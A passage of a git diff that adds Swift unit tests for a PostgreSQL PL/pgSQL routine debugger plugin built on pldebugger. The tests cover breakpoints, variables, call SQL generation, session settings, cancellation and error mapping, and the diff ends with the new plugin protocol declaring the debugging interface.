PostgreSQLRoutineDebugProtocol.location( + fromBreakpointRow: ["16431", "9", "order_total(integer,numeric)"] + ) + #expect(stop?.line == 8) + #expect(stop?.unit.identity == "16431") + #expect(stop?.unit.displayName == "order_total(integer,numeric)") + } + + @Test("A stack frame's line is the source line as is") + func stackLineIsNotShifted() { + let frame = PostgreSQLRoutineDebugProtocol.frame( + fromStackRow: ["1", "order_total(integer,numeric)", "16431", "8", "qty=3, unit_price=10"] + ) + #expect(frame?.level == 1) + #expect(frame?.location?.line == 8) + #expect(frame?.location?.unit.identity == "16431") + #expect(frame?.arguments == "qty=3, unit_price=10") + } + + @Test("A reply without a stop means the target left the debugger") + func emptyStopIsNoLocation() { + #expect(PostgreSQLRoutineDebugProtocol.location(fromBreakpointRow: []) == nil) + #expect(PostgreSQLRoutineDebugProtocol.location(fromBreakpointRow: [nil, nil, nil]) == nil) + } + + @Test("The catalog reads name the trigger types rather than cast to one a 9.1 or 9.2 server lacks") + func triggerTypesAreNamedNotCast() { + let statements = [ + PostgreSQLRoutineDebugProtocol.routineQuery(oid: 16_431, capabilities: PostgreSQLCapabilities(serverVersion: 90_100)), + PostgreSQLRoutineDebugProtocol.targetListQuery(schema: "public", hasProcedureKind: false) + ] + for statement in statements { + #expect(!statement.contains("event_trigger'::")) + #expect(statement.contains("rt.typname IN ('trigger', 'event_trigger')")) + } + } + + @Test("Breakpoints are set on the source line, unshifted") + func breakpointLineIsNotShifted() { + let statement = PostgreSQLRoutineDebugProtocol.setBreakpointStatement( + extensionSchema: "public", + session: 1, + oid: 16_433, + line: 12 + ) + #expect(statement == "SELECT \"public\".pldbg_set_breakpoint(1, '16433'::pg_catalog.oid, 12)") + } + + // MARK: - Variables + + @Test("Variable classes map to argument, local and package") + func variableKinds() { + let argument = PostgreSQLRoutineDebugProtocol.variable( + fromRow: ["qty", "A", "0", "t", "f", "f", "integer", "3"] + ) + let local = PostgreSQLRoutineDebugProtocol.variable( + fromRow: ["subtotal", "L", "3", "t", "f", "f", "numeric", "0"] + ) + let package = PostgreSQLRoutineDebugProtocol.variable( + fromRow: ["counter", "P", "0", "t", "t", "f", "integer", "1"] + ) + #expect(argument?.kind == .argument) + #expect(argument?.typeName == "integer") + #expect(argument?.value == "3") + #expect(local?.kind == .local) + #expect(package?.kind == .package) + #expect(package?.isConstant == true) + #expect(local?.isConstant == false) + } + + @Test("The text NULL pldebugger sends for a null value reads as SQL NULL") + func nullTextIsNull() { + let variable = PostgreSQLRoutineDebugProtocol.variable( + fromRow: ["total", "L", "4", "t", "f", "f", "numeric", "NULL"] + ) + #expect(variable != nil) + #expect(variable?.value == nil) + } + + // MARK: - The call + + @Test("A function runs as SELECT * FROM with each argument bound and cast to its declared type") + func functionCall() throws { + let call = try PostgreSQLRoutineDebugProtocol.call( + for: Self.orderTotal, + arguments: [Self.argument("qty", .text("3")), Self.argument("unit_price", .text("10"))] + ) + #expect(call.sql == "SELECT * FROM \"public\".\"order_total\"($1::integer, $2::numeric)") + #expect(call.parameters == [.text("3"), .text("10")]) + } + + @Test("A procedure runs as CALL") + func procedureCall() throws { + let call = try PostgreSQLRoutineDebugProtocol.call( + for: Self.logNote, + arguments: [ + Self.argument("msg", .text("hello")), + Self.argument("n", .defaultValue), + Self.argument("label", .defaultValue) + ] + ) + #expect( + call.sql + == #"CALL "public"."log_note"($1::"pg_catalog"."text", (NULL::integer)::"pg_catalog"."int4", ('x'::text)::"pg_catalog"."text")"# + ) + #expect(call.parameters == [.text("hello")]) + } + + @Test("An argument after one left to its default stays positional, the default spelled out") + func argumentAfterDefaultStaysPositional() throws { + let call = try PostgreSQLRoutineDebugProtocol.call( + for: Self.logNote, + arguments: [ + Self.argument("msg", .text("hello")), + Self.argument("n", .defaultValue), + Self.argument("label", .text("-lbl")) + ] + ) + #expect( + call.sql + == #"CALL "public"."log_note"($1::"pg_catalog"."text", (NULL::integer)::"pg_catalog"."int4", $2::"pg_catalog"."text")"# + ) + #expect(call.parameters == [.text("hello"), .text("-lbl")]) + } + + @Test("Overloads that differ only in a defaulted parameter each get their own default, so the call is not ambiguous") + func defaultedOverloadsStaySelected() throws { + let integer = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "dflt", "a integer", "f", "f", + "{integer}", "{a}", nil, "1", "f", nil, #"{"\"pg_catalog\".\"int4\""}"#, "{1}" + ]) + let text = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "dflt", "a text", "f", "f", + "{text}", "{a}", nil, "1", "f", nil, #"{"\"pg_catalog\".\"text\""}"#, #"{"'x, y'::text"}"# + ]) + let first = try PostgreSQLRoutineDebugProtocol.call(for: integer, arguments: [Self.argument("a", .defaultValue)]) + let second = try PostgreSQLRoutineDebugProtocol.call(for: text, arguments: [Self.argument("a", .defaultValue)]) + #expect(first.sql == #"SELECT * FROM "public"."dflt"((1)::"pg_catalog"."int4")"#) + #expect(second.sql == #"SELECT * FROM "public"."dflt"(('x, y'::text)::"pg_catalog"."text")"#) + #expect(first.parameters.isEmpty) + } + + @Test("A VARIADIC parameter left at its default keeps VARIADIC in front of the spelled-out default") + func variadicDefault() throws { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "dvar", "a integer, VARIADIC rest integer[]", + "f", "f", "{integer,integer[]}", "{a,rest}", "{i,v}", "1", "f", nil, + #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"_int4\""}"#, #"{NULL,"'{}'::integer[]"}"# + ]) + let call = try PostgreSQLRoutineDebugProtocol.call( + for: routine, + arguments: [Self.argument("a", .text("3")), Self.argument("rest", .defaultValue)] + ) + #expect( + call.sql == #"SELECT * FROM "public"."dvar"($1::"pg_catalog"."int4", VARIADIC ('{}'::integer[])::"pg_catalog"."_int4")"# + ) + } + + @Test("A default the server could not show is refused rather than left out") + func unreadableDefaultIsRefused() { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "f", "a integer", "f", "f", + "{integer}", "{a}", nil, "1", "f", nil, #"{"\"pg_catalog\".\"int4\""}"#, nil + ]) + #expect(throws: PostgreSQLRoutineDebugError.defaultNotReadable(parameter: "a")) { + try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: [Self.argument("a", .defaultValue)]) + } + } + + @Test("A function returning a bare record is selected as a value") + func recordFunctionCall() throws { + let call = try PostgreSQLRoutineDebugProtocol.call( + for: Self.anonymous, + arguments: [Self.argument("$1", .text("7")), Self.argument("$2", .defaultValue)] + ) + #expect(call.sql == #"SELECT "public"."anon"($1::"pg_catalog"."int4", (5)::"pg_catalog"."int4")"#) + } + + @Test("A function with OUT parameters keeps SELECT * FROM and passes only its inputs") + func outParametersAreNotPassed() throws { + let call = try PostgreSQLRoutineDebugProtocol.call(for: Self.pair, arguments: [Self.argument("a", .text("4"))]) + #expect(call.sql == "SELECT * FROM \"public\".\"pair\"($1::integer)") + } + + @Test("A variadic parameter takes its array with VARIADIC") + func variadicCall() throws { + let call = try PostgreSQLRoutineDebugProtocol.call( + for: Self.totalOf, + arguments: [Self.argument("nums", .text("{1,2,3}"))] + ) + #expect(call.sql == "SELECT * FROM \"public\".\"total_of\"(VARIADIC $1::integer[])") + } + + @Test("NULL is bound as a null parameter, not as text") + func nullArgument() throws { + let call = try PostgreSQLRoutineDebugProtocol.call( + for: Self.orderTotal, + arguments: [Self.argument("qty", .null), Self.argument("unit_price", .text("1"))] + ) + #expect(call.parameters == [.null, .text("1")]) + } + + @Test("DEFAULT on a parameter without a default is refused") + func defaultWithoutDefaultIsRefused() { + #expect(throws: PostgreSQLRoutineDebugError.noDefault(parameter: "qty")) { + try PostgreSQLRoutineDebugProtocol.call( + for: Self.orderTotal, + arguments: [Self.argument("qty", .defaultValue), Self.argument("unit_price", .text("1"))] + ) + } + } + + @Test("An unnamed parameter after one left to its default is passed by position") + func unnamedAfterDefault() throws { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "f", + "integer, integer", "f", "f", "{integer,integer}", nil, nil, "2", "f", nil, + #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"int4\""}"#, "{1,2}" + ]) + let call = try PostgreSQLRoutineDebugProtocol.call( + for: routine, + arguments: [Self.argument("$1", .defaultValue), Self.argument("$2", .text("7"))] + ) + #expect(call.sql == #"SELECT * FROM "public"."f"((1)::"pg_catalog"."int4", $1::"pg_catalog"."int4")"#) + #expect(call.parameters == [.text("7")]) + } + + @Test("A procedure's OUT parameter gets a typed NULL placeholder") + func procedureOutParameter() throws { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "p", "v", "plpgsql", "public", "p", + "IN a integer, OUT b text", "t", "f", "{integer,text}", "{a,b}", "{i,o}", "0" + ]) + let call = try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: [Self.argument("a", .text("1"))]) + #expect(call.sql == "CALL \"public\".\"p\"($1::integer, NULL::text)") + } + + // MARK: - The routine + + @Test("Catalog arrays become parameters with modes and trailing defaults") + func parametersFromCatalog() { + let parameters = Self.logNote.parameters + let names = parameters.map { $0.name } + let modes = parameters.map { $0.mode } + let defaults = parameters.map { $0.hasDefault } + let types = parameters.map { $0.typeName } + #expect(names == ["msg", "n", "label"]) + #expect(modes == [.input, .inputOutput, .input]) + #expect(defaults == [false, true, true]) + #expect(types == ["text", "integer", "text"]) + } + + @Test("An unnamed parameter is named by its position") + func unnamedParameters() { + let names = Self.anonymous.parameters.map { $0.name } + let defaults = Self.anonymous.parameters.map { $0.hasDefault } + #expect(names == ["$1", "$2"]) + #expect(defaults == [false, true]) + } + + @Test("The entry point's identity is the routine's oid") + func entryIdentityIsTheOid() { + #expect(Self.orderTotal.entryPoint.identity == "16433") + #expect(PostgreSQLRoutineDebugProtocol.oid(inIdentity: "16433") == 16_433) + #expect(PostgreSQLRoutineDebugProtocol.oid(inIdentity: "16433:w") == nil) + #expect(PostgreSQLRoutineDebugProtocol.oid(inIdentity: "order_total") == nil) + } + + @Test("A transaction startup commands left open is rolled back before the call") + func startupTransactionIsRolledBack() { + #expect(!PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.idle)) + #expect(PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.inTransaction)) + #expect(PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.abortedTransaction)) + #expect(PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.unknown)) + } + + @Test("A missing extension the server offers asks for CREATE EXTENSION in this database") + func extensionMissing() { + let routine = Self.routine([ + "noext", nil, "t", "t", "t", "f", "v", "plpgsql", "public", "f", "", "f", "f", "{}", nil, nil, "0" + ]) + #expect(throws: PostgreSQLRoutineDebugError.extensionMissing(database: "noext")) { + try routine.debuggerSchema() + } + } + + @Test("A server without the pldebugger package says so") + func serverPackageMissing() { + let routine = Self.routine([ + "postgres", nil, "f", "t", "t", "f", "v", "plpgsql", "public", "f", "", "f", "f", "{}", nil, nil, "0" + ]) + #expect(throws: PostgreSQLRoutineDebugError.serverPackageMissing) { + try routine.debuggerSchema() + } + } + + @Test("Only the owner or a superuser may debug") + func notOwner() { + let routine = Self.routine([ + "postgres", "public", "t", "t", "f", "f", "v", "plpgsql", "public", "order_total", + "qty integer, unit_price numeric", "f", "f", "{integer,numeric}", "{qty,unit_price}", nil, "0" + ]) + #expect(throws: PostgreSQLRoutineDebugError.notOwner(routine: "order_total(qty integer, unit_price numeric)")) { + try routine.debuggerSchema() + } + } + + @Test("A trigger function or another language cannot be debugged") + func notDebuggable() { + let trigger = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "trg_fn", "", "f", "t", "{}", nil, nil, + "0" + ]) + let sql = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "sql", "public", "f", "", "f", "f", "{}", nil, nil, "0" + ]) + #expect(throws: PostgreSQLRoutineDebugError.notDebuggable) { try trigger.debuggerSchema() } + #expect(throws: PostgreSQLRoutineDebugError.notDebuggable) { try sql.debuggerSchema() } + } + + @Test("A routine taking a polymorphic or record argument is refused before the start") + func pseudoTypeArgumentIsRefused() { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "poly_elem", "a anyelement", "f", "f", + "{anyelement}", "{a}", nil, "0", "t" + ]) + #expect(throws: PostgreSQLRoutineDebugError.pseudoTypeParameter) { try routine.debuggerSchema() } + } + + @Test("Polymorphic, \"any\" and record arguments are found in a signature; a parameter named like one is not") + func signatureClassification() { + let refused = [ + "(a anyelement)", "(VARIADIC \"any\")", "(x anyarray, y integer)", "(anycompatible, anycompatible)", + "(a anycompatiblearray, b integer)", "(r record)", "(IN v anynonarray)", "(e anyenum)", "(r anyrange)", + "(m anymultirange)", "(rs record[])" + ] + let offered = [ + "(qty integer, unit_price numeric)", "(anyelement integer)", "(\"my, record\" integer)", + "(IN msg text, INOUT n integer, IN label text)", "()", "(VARIADIC nums integer[])", + "(b timestamp with time zone)" + ] + for signature in refused { + #expect(PostgreSQLRoutineDebugProtocol.signatureTakesPseudoType(signature), "\(signature)") + } + for signature in offered { + #expect(!PostgreSQLRoutineDebugProtocol.signatureTakesPseudoType(signature), "\(signature)") + } + #expect(!PostgreSQLRoutineDebugProtocol.signatureTakesPseudoType(nil)) + } + + @Test("A routine whose own client_min_messages hides notices, or whose transaction_timeout is set, is refused") + func blockingRoutineSettings() { + #expect( + PostgreSQLRoutineDebugProtocol.blockingSetting(in: ["client_min_messages=warning"]) + == .hidesDebuggerNotice(value: "warning") + ) + #expect( + PostgreSQLRoutineDebugProtocol.blockingSetting(in: ["search_path=app", "client_min_messages=ERROR"]) + == .hidesDebuggerNotice(value: "ERROR") + ) + #expect( + PostgreSQLRoutineDebugProtocol.blockingSetting(in: ["transaction_timeout=2s"]) + == .limitsTransactionTime(value: "2s") + ) + for allowed in [ + "client_min_messages=notice", "client_min_messages=log", "client_min_messages=debug1", + "transaction_timeout=0", "transaction_timeout=0ms", "search_path=app, public", "work_mem=64MB" + ] { + #expect(PostgreSQLRoutineDebugProtocol.blockingSetting(in: [allowed]) == nil, "\(allowed)") + } + } + + @Test("prepareDebug refuses a routine whose settings would stop the debugger") + func blockingSettingRefusesPrepare() { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "quiet", "x integer", "f", "f", + "{integer}", "{x}", nil, "0", "f", "{client_min_messages=warning}" + ]) + #expect(throws: PostgreSQLRoutineDebugError.hidesDebuggerNotice(value: "warning")) { + try routine.debuggerSchema() + } + } + + @Test("Each argument is cast to its exact pg_type name, so the selected overload runs and nothing is cut") + func argumentsCastToTheirExactType() throws { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "pick", + "v bit, w character, x character[], y bit varying[], z app.\"Code3\"", "f", "f", + "{bit,character,character[],\"bit varying[]\",\"app.\\\"Code3\\\"\"}", "{v,w,x,y,z}", nil, "0", "f", nil, + #"{"\"pg_catalog\".\"bit\"","\"pg_catalog\".\"bpchar\"","\"pg_catalog\".\"_bpchar\"","\"pg_catalog\".\"_varbit\"","\"app\".\"Code3\""}"# + ]) + #expect(routine.argumentCastTypes == [ + #""pg_catalog"."bit""#, #""pg_catalog"."bpchar""#, #""pg_catalog"."_bpchar""#, #""pg_catalog"."_varbit""#, + #""app"."Code3""# + ]) + let call = try PostgreSQLRoutineDebugProtocol.call( + for: routine, + arguments: ["v", "w", "x", "y", "z"].map { Self.argument($0, .text("1")) } + ) + let expected = #"SELECT * FROM "public"."pick"($1::"pg_catalog"."bit", $2::"pg_catalog"."bpchar", "# + + #"$3::"pg_catalog"."_bpchar", $4::"pg_catalog"."_varbit", $5::"app"."Code3")"# + #expect(call.sql == expected) + } + + @Test("A procedure's OUT placeholder uses the exact type too") + func outPlaceholderUsesTheExactType() throws { + let routine = Self.routine([ + "postgres", "public", "t", "t", "t", "p", "v", "plpgsql", "public", "p", + "IN a integer, OUT b character", "t", "f", "{integer,character}", "{a,b}", "{i,o}", "0", "f", nil, + #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"bpchar\""}"# + ]) + let call = try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: [Self.argument("a", .text("1"))]) + #expect(call.sql == #"CALL "public"."p"($1::"pg_catalog"."int4", NULL::"pg_catalog"."bpchar")"#) + } + + @Test("A polymorphic routine is not offered for debugging") + func polymorphicRoutineIsNotATarget() { + let routine = PluginRoutineInfo( + name: "poly_elem", + kind: .function, + returnType: "anyelement", + language: "plpgsql", + argumentSignature: "(a anyelement)", + identity: "16440" + ) + #expect(PostgreSQLRoutineDebugProtocol.target(for: routine) == nil) + } + + @Test("The extension's schema qualifies every pldbgapi call") + func extensionSchemaQualifiesCalls() throws { + let schema = try Self.orderTotal.debuggerSchema() + #expect(schema == "public") + #expect( + PostgreSQLRoutineDebugProtocol.stepStatement(.continueExecution, extensionSchema: "dbg\"x", session: 1) + == "SELECT func, linenumber, targetname FROM \"dbg\"\"x\".pldbg_continue(1)" + ) + } + + @Test("Step Out has no pldbgapi call") + func noStepOut() { + #expect(PostgreSQLRoutineDebugProtocol.stepStatement(.stepOut, extensionSchema: "public", session: 1) == nil) + #expect(!PostgreSQLRoutineDebugProtocol.supportedCommands.contains(.stepOut)) + } + + // MARK: - Targets + + @Test("A PL/pgSQL function or procedure is a debug target named with its arguments") + func plpgsqlRoutineIsTarget() { + let routine = PluginRoutineInfo( + name: "order_total", + kind: .function, + schema: "public", + returnType: "numeric", + language: "plpgsql", + argumentSignature: "(qty integer, unit_price numeric)", + identity: "16433" + ) + let target = PostgreSQLRoutineDebugProtocol.target(for: routine) + #expect(target?.identity == "16433") + #expect(target?.name == "order_total(qty integer, unit_price numeric)") + #expect(target?.schema == "public") + } + + @Test("A routine in another language, a trigger function or one without an oid is not a target") + func otherRoutinesAreNotTargets() { + let sql = PluginRoutineInfo(name: "f", kind: .function, language: "sql", identity: "1") + let trigger = PluginRoutineInfo( + name: "trg_fn", kind: .function, returnType: "trigger", language: "plpgsql", identity: "2" + ) + let noOid = PluginRoutineInfo(name: "f", kind: .function, language: "plpgsql", identity: nil) + #expect(PostgreSQLRoutineDebugProtocol.target(for: sql) == nil) + #expect(PostgreSQLRoutineDebugProtocol.target(for: trigger) == nil) + #expect(PostgreSQLRoutineDebugProtocol.target(for: noOid) == nil) + } + + // MARK: - Sessions + + @Test("Both sessions turn their timeouts off, and the target lets the port notice through") + func sessionSettings() { + #expect( + PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 170_011, isTarget: true) + == [ + "SET statement_timeout = 0", + "SET idle_session_timeout = 0", + "SET transaction_timeout = 0", + "SET client_min_messages = notice" + ] + ) + #expect( + PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 130_000, isTarget: false) + == ["SET statement_timeout = 0"] + ) + } + + @Test("transaction_timeout, new in PostgreSQL 17, is turned off only on servers that have it") + func transactionTimeoutVersionGate() { + let seventeen = PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 170_000, isTarget: false) + let sixteen = PostgreSQLRoutineDebugProtocol.sessionSettings(serverVersion: 160_004, isTarget: false) + #expect(seventeen == ["SET statement_timeout = 0", "SET idle_session_timeout = 0", "SET transaction_timeout = 0"]) + #expect(sixteen == ["SET statement_timeout = 0", "SET idle_session_timeout = 0"]) + } + + // MARK: - Cancelling a start + + @Test("A start cancelled before the routine is entered cancels the target's call") + func cancelBeforeEntryCancelsTheCall() { + #expect(PostgreSQLRoutineDebugProtocol.startCancellation(portDelivered: false, callEnded: false) == .cancelCall) + } + + @Test("A start cancelled after PLDBGBREAK attaches and aborts, since the target ignores a cancel in accept()") + func cancelAfterNoticeAttachesAndAborts() { + #expect(PostgreSQLRoutineDebugProtocol.startCancellation(portDelivered: true, callEnded: false) == .attachAndAbort) + } + + @Test("A start whose call already ended has nothing left to end") + func cancelAfterTheCallEndedDoesNothing() { + #expect(PostgreSQLRoutineDebugProtocol.startCancellation(portDelivered: false, callEnded: true) == .nothing) + } + + @Test("Once the wait ends, a cancelled start aborts a target that announced its port and attaches otherwise") + func startStepAfterTheWait() { + #expect(PostgreSQLRoutineDebugProtocol.startStep(port: 7, isCancelled: true) == .attachAndAbort(port: 7)) + #expect(PostgreSQLRoutineDebugProtocol.startStep(port: 7, isCancelled: false) == .attach(port: 7)) + #expect(PostgreSQLRoutineDebugProtocol.startStep(port: nil, isCancelled: true) == .cancelled) + #expect(PostgreSQLRoutineDebugProtocol.startStep(port: nil, isCancelled: false) == .endedBeforeEntry) + } + + // MARK: - Errors + + @Test("A missing pldbg function maps to the extension being missing") + func undefinedFunctionMapsToExtensionMissing() { + let error = LibPQPluginError( + message: "ERROR: function public.pldbg_oid_debug(oid) does not exist", + sqlState: "42883", + detail: nil + ) + let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "noext", routineName: "f()") + #expect(mapped as? PostgreSQLRoutineDebugError == .extensionMissing(database: "noext")) + } + + @Test("pldebugger's owner check maps to the owner message") + func ownerCheckMapsToNotOwner() { + let error = LibPQPluginError( + message: "ERROR: must be owner or superuser to create a breakpoint", + sqlState: "42501", + detail: nil + ) + let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "postgres", routineName: "f()") + #expect(mapped as? PostgreSQLRoutineDebugError == .notOwner(routine: "f()")) + } + + @Test("Running out of shared memory names the preload fix") + func sharedMemoryMapsToPreload() { + let ownCheck = LibPQPluginError(message: "ERROR: out of shared memory", sqlState: "XX000", detail: nil) + let core = LibPQPluginError( + message: "ERROR: not enough shared memory for data structure \"Debugger Connection slots\" (64 bytes requested)", + sqlState: "53200", + detail: nil + ) + for error in [ownCheck, core] { + let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "postgres", routineName: "f()") + #expect(mapped as? PostgreSQLRoutineDebugError == .sharedMemoryUnavailable) + } + } + + @Test("Any other start error passes through unchanged") + func otherStartErrorsPassThrough() { + let error = LibPQPluginError( + message: "ERROR: invalid input syntax for type integer: \"abc\"", + sqlState: "22P02", + detail: nil + ) + let mapped = PostgreSQLRoutineDebugProtocol.startFailure(error, database: "postgres", routineName: "f()") + #expect((mapped as? LibPQPluginError)?.sqlState == "22P02") + } + + @Test("The proxy's 08006 means the target finished, not that the proxy failed") + func proxyTerminationIsFinished() { + let terminated = LibPQPluginError( + message: "ERROR: debugger connection terminated", + sqlState: "08006", + detail: nil + ) + let lost = LibPQConnectionLostError( + loss: .afterSending, + underlying: LibPQPluginError(message: "server closed the connection unexpectedly", sqlState: nil, detail: nil) + ) + #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(terminated) == .targetEnded) + #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(lost) == .broken) + #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(CancellationError()) == .broken) + } + + @Test("A signal that interrupts the waiting proxy is told apart from the target leaving") + func interruptedProxyIsNotTheEnd() { + let interrupted = LibPQPluginError( + message: "ERROR: select() failed waiting for target", + sqlState: "08006", + detail: nil + ) + #expect(PostgreSQLRoutineDebugProtocol.proxyFailure(interrupted) == .interrupted) + } + + @Test("A target ended after an interruption says so, with the server's CONTEXT as the detail") + func interruptedEndSaysSo() { + let error = LibPQPluginError( + message: """ + ERROR: canceling statement due to user request + CONTEXT: PL/pgSQL function two_stops() line 6 at assignment + """, + sqlState: "57014", + detail: nil + ) + guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.end( + of: .failure(error), + stopRequested: false, + interrupted: true + ) else { + Issue.record("expected a failed stop") + return + } + #expect(message == PostgreSQLRoutineDebugProtocol.interruptedMessage) + #expect(detail == "CONTEXT: PL/pgSQL function two_stops() line 6 at assignment") + } + + @Test("A target that could not be ended is named, with the SQL that ends it") + func abandonedTargetIsNamed() { + let both = PostgreSQLRoutineDebugProtocol.abandonedDetail(process: 4_242, port: 11) + #expect(both.contains("4242")) + #expect(both.contains("pldbg_attach_to_port(11)")) + #expect(both.contains("pldbg_abort_target")) + #expect(PostgreSQLRoutineDebugProtocol.abandonedDetail(process: 4_242, port: nil).contains("4242")) + #expect(!PostgreSQLRoutineDebugProtocol.abandonedDetail(process: nil, port: 11).isEmpty) + guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.abandonedStop(process: 4_242, port: 11) else { + Issue.record("expected a failed stop") + return + } + #expect(message == PostgreSQLRoutineDebugProtocol.abandonedMessage) + #expect(detail == both) + } + + @Test("Stop reports the target ended only when its call returned") + func stopOutcomeEnded() { + guard case .ended = PostgreSQLRoutineDebugProtocol.stopOutcome( + callEnded: true, + abandoned: false, + process: 4_242, + port: 11 + ) else { + Issue.record("expected ended") + return + } + } + + @Test("A stop that could not confirm the end names the server process and the SQL that ends it") + func stopOutcomeUnconfirmed() { + for (callEnded, abandoned) in [(true, true), (false, false), (false, true)] { + guard case .unconfirmed(let message, let detail) = PostgreSQLRoutineDebugProtocol.stopOutcome( + callEnded: callEnded, + abandoned: abandoned, + process: 4_242, + port: 11 + ) else { + Issue.record("expected unconfirmed for \(callEnded), \(abandoned)") + continue + } + #expect(message == PostgreSQLRoutineDebugProtocol.abandonedMessage) + #expect(detail == PostgreSQLRoutineDebugProtocol.abandonedDetail(process: 4_242, port: 11)) + } + } + + @Test("Many replies that win against a signal that never settles leave no waiter behind") + func winningRepliesLeaveNoWaiter() async { + let signal = PostgreSQLDebugRendezvous() + for value in 0..<200 { + let answer = await signal.reply(to: Task { value }) + if case .success(let got)? = answer { + #expect(got == value) + } else { + Issue.record("expected the reply for \(value)") + } + } + #expect(signal.waiterCount == 0) + } + + @Test("A signal that settles first answers nil and keeps no waiter") + func settledSignalWins() async { + let signal = PostgreSQLDebugRendezvous() + let step = Task { () throws -> Int in + try await Task.sleep(for: .seconds(60)) + return 1 + } + signal.settle() + let answer = await signal.reply(to: step) + #expect(answer == nil) + #expect(signal.waiterCount == 0) + step.cancel() + } + + @Test("A cancelled wait for the signal returns and withdraws its waiter") + func cancelledWaitIsWithdrawn() async { + let signal = PostgreSQLDebugRendezvous() + let waiting = Task { await signal.settled() } + waiting.cancel() + await waiting.value + #expect(signal.waiterCount == 0) + #expect(!signal.hasSettled) + } + + @Test("Giving up on a target releases its waiters and marks it abandoned, unless its call already ended") + func rendezvousAbandon() async { + let waiting = PostgreSQLDebugRendezvous() + async let port = waiting.port() + waiting.abandon() + #expect(await port == nil) + #expect(waiting.isAbandoned) + #expect(waiting.hasSettled) + + let ended = PostgreSQLDebugRendezvous() + ended.settle() + ended.abandon() + #expect(!ended.isAbandoned) + } + + @Test("The target's 57014 after Stop reads as stopped, keeping where it stopped") + func cancelAfterStopIsStopped() { + let error = LibPQPluginError( + message: """ + ERROR: canceling statement due to user request + CONTEXT: PL/pgSQL function order_total(integer,numeric) line 13 at assignment + """, + sqlState: "57014", + detail: nil + ) + guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.end( + of: .failure(error), + stopRequested: true + ) else { + Issue.record("expected a failed stop") + return + } + #expect(message == PostgreSQLRoutineDebugProtocol.stoppedMessage) + #expect(detail == "CONTEXT: PL/pgSQL function order_total(integer,numeric) line 13 at assignment") + } + + @Test("The plugin's own cancel of the target reads as stopped") + func cancellationIsStopped() { + guard case .failed(let message, _) = PostgreSQLRoutineDebugProtocol.end( + of: .failure(CancellationError()), + stopRequested: true + ) else { + Issue.record("expected a failed stop") + return + } + #expect(message == PostgreSQLRoutineDebugProtocol.stoppedMessage) + } + + @Test("A routine error carries the server's message, with its CONTEXT lines as the detail") + func routineErrorKeepsContext() { + let error = LibPQPluginError( + message: """ + ERROR: canceling statement due to user request + CONTEXT: SQL statement "SELECT pg_sleep(4)" + PL/pgSQL function slow_fn() line 4 at PERFORM + """, + sqlState: "57014", + detail: nil + ) + guard case .failed(let message, let detail) = PostgreSQLRoutineDebugProtocol.end( + of: .failure(error), + stopRequested: false + ) else { + Issue.record("expected a failed stop") + return + } + #expect(message == "canceling statement due to user request") + #expect(detail == "CONTEXT: SQL statement \"SELECT pg_sleep(4)\"\nPL/pgSQL function slow_fn() line 4 at PERFORM") + } + + @Test("A finished routine carries its result, or none when it returned no columns") + func finishedCarriesResult() { + if case .finished(let result) = PostgreSQLRoutineDebugProtocol.end( + of: .success(Self.result(columns: ["order_total"])), + stopRequested: false + ) { + #expect(result?.columns == ["order_total"]) + } else { + Issue.record("expected a finished stop") + } + if case .finished(let result) = PostgreSQLRoutineDebugProtocol.end( + of: .success(Self.result(columns: [])), + stopRequested: false + ) { + #expect(result == nil) + } else { + Issue.record("expected a finished stop") + } + } +} diff --git a/apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift b/apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift new file mode 100644 index 0000000000..351823c810 --- /dev/null +++ b/apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift @@ -0,0 +1,248 @@ +import Foundation + +public protocol PluginRoutineDebugging: AnyObject, Sendable { + // False on a driver that inherits the conformance but cannot debug (PGlite), so a menu can ask without I/O. + var canDebugRoutines: Bool { get } + // Synchronous so a context menu can ask without I/O; nil means this routine cannot be debugged. + func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget? + func debugTargets(schema: String?) async throws -> [PluginDebugTarget] + func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan + // Every driver the plugin takes from `sessions` is closed by the host once the session ends. + // Cancelling the task that awaits this ends the target as `stop()` would, then throws CancellationError, or an + // error saying the target may still be running when its end could not be confirmed. + func startDebug( + _ request: PluginDebugRequest, + sessions: any PluginDebugSessionSource + ) async throws -> any PluginDebugSession +} + +public protocol PluginDebugSessionSource: Sendable { + func openSession() async throws -> any PluginDatabaseDriver +} + 